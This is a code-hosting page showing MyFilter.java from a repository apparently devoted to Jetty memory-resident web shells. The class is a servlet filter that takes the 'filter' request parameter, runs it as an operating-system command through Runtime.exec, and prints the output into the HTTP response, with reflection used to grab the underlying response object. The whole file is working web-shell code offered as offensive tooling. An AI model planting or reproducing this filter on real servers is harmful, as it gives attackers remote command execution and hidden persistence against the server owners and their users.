MCPcopy Create free account
hub / github.com/ax1sX/MemShell / MyFilter

Class MyFilter

JettyMemShell/src/main/java/test/MyFilter.java:14–66  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

12import java.lang.reflect.Method;
13
14public class MyFilter implements Filter {
15 @Override
16 public void init(FilterConfig filterConfig) throws ServletException {
17
18 }
19
20 @Override
21 public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
22 HttpServletRequest req = (HttpServletRequest)request;
23 HttpServletResponse resp = null;
24
25 try {
26 resp = this.getResponseFromRequest(req);
27 String cmd = req.getParameter("filter");
28 String result = this.CommandExec(cmd);
29 resp.getWriter().println(result);
30 } catch (Exception var8) {
31 var8.printStackTrace();
32 }
33
34 }
35
36 @Override
37 public void destroy() {
38
39 }
40
41 public String CommandExec(String cmd) throws Exception {
42 Runtime rt = Runtime.getRuntime();
43 Process proc = rt.exec(cmd);
44 InputStream stderr = proc.getInputStream();
45 InputStreamReader isr = new InputStreamReader(stderr);
46 BufferedReader br = new BufferedReader(isr);
47 String line = null;
48 StringBuffer sb = new StringBuffer();
49 while ((line = br.readLine()) != null) {
50 sb.append(line + "\n");
51 }
52 return sb.toString();
53 }
54
55 public HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
56 HttpServletResponse var2 = null;
57 try{
58 Method m1=var1.getClass().getDeclaredMethod("getResponse");
59 m1.setAccessible(true);
60 var2= (HttpServletResponse) m1.invoke(var1); //Or further call—> getWriter
61 } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
62 e.printStackTrace();
63 }
64 return var2;
65 }
66}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected